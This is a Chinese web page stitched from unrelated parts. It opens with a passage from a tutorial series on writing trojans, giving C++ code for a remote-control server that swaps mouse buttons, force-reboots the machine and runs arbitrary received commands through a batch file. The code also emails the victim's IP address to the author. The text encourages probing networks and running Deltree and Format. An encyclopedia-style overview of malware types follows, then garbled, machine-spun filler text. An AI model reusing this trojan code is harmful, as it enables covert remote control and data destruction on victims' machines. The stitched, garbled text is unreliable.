file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒(Computer
Virus)。具有破坏性,复制性和传染性。
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报导中,黑客一词往往指那些“软件骇客”(software
cracker)。黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。但到了今天,黑客一词已被用于泛指那些专门利用电脑网络搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。
最常见的计算机病毒容易感染文件名如下:
常规病毒exe,dll,com,ocx,vxd,sys(sys很少,比如机器狗)
网马vbs,js,php,asp,jsp,html,hta,htm
手机病毒(跨平台)apk,jar,java
宏病毒doc,ppt,xls
“com”网络数据
“JPEG和PIG”图片文件,(在些病毒就藏在里面,当人打开时就后台运行) “AVI”视频文件,,也是一样。打开就运行。
扩展资料:
常见的病毒软件
1.病毒
计算机病毒是大多数媒体和普通终端用户在新闻报道中所称的每一个恶意软件程序。
幸运的是,大多数恶意软件程序都不是病毒。计算机病毒修改其他合法主机文件,当受害者的文件被执行时,病毒也被执行。
纯粹的计算机病毒在今天并不常见,只占所有恶意软件的10%不到。
病毒是唯一一种“感染”其他文件的恶意软件。这使得他们特别难以清理,因为恶意软件必须从合法程序执行。
这样使得即便最好的杀毒程序也很难消灭它,不过,也有在许多情况下,我们只需要隔离或删除受感染的文件即可。
2.蠕虫
蠕虫比计算机病毒存在的时间还要长,可以追溯到大型机时代。
20世纪90年代末,电子邮件的使用使蠕虫流行起来,近十年来,计算机安全专家受困于被作为消息附件出现的恶意蠕虫。
一个人打开一封蠕虫邮件,整个公司很快就会被感染。
3.木马
电脑蠕虫已被特洛伊木马恶意软件取代,成为黑客们的首选武器。
木马伪装成合法的程序,但它们包含恶意指令。它们已经存在了很长时间,甚至比计算机病毒还长,而且更容易入侵我们的计算机。
4.多种形式病毒和外来物种
通常,恶意软件程序在终端用户看来是特洛伊木马,但一旦执行,它就会像蠕虫一样通过网络攻击其他受害者。
今天的许多恶意软件程序被认为是rootkit木马或秘密程序。从本质上讲,恶意软件程序试图修改底层操作系统,以获得最终控制权并躲避防恶意软件程序。
要消除这些类型的程序,您必须从内存中删除控制组件,首先是防恶意软件扫描。
僵尸程序本质上是特洛伊木马、蠕虫病毒的组合,它试图使个别被利用的客户端成为一个更大的恶意网络的一部分。
僵尸网络的规模从几千台受攻击的计算机到一个由一个僵尸网络主机控制的拥有数十万个系统的巨大网络不等。
这些僵尸网络经常被出租给其他犯罪分子,他们利用这些网络达到自己的邪恶目的。
参考资料来源:百度百科-计算机病毒
很多 人否能没有 晓得若何 写一篇常识 便是力气 讲演稿。事例上,常识 是统统 力气 的源泉,是文人骚客表达激情 壮志的本钱 ,是国度 强盛 、迷信成长 的力气 源泉,是人们从世界文明的丛林 外自力 没去的基石,是文人 对于常识 的盼望 ,是文人抒发能力 的才能 ,是人们真现弘远 理想 的欲望 。以...
销售 是赞助 客户 做出最坏的选择。我认识 需要提供的基础 导致 客户 购买 的愿望,让客户 购买 目的 产品...
咱们正在一点儿私司供职的时刻 ,尤为是他里试环节,根本 上都邑 有一段简欠的空儿的毛遂自荐 。到时刻 为了可以...
自我推荐 是人与战人之间的快速手腕 ,所以我们正在寻找 的时刻,特别是在申请程序链接中,如何做自我推荐 ,也许...
当教学期停止 时,许多 教熟都邑 作了一个小我 总结,没有处理 本身 当时的教学期。对于 年夜 教熟来说,我们...
在学校的简历真的很长很长很长很长,尤其是一点班级湿部,或者重心学校 的班级湿部,合作异常 剧烈 ,无论班级少,...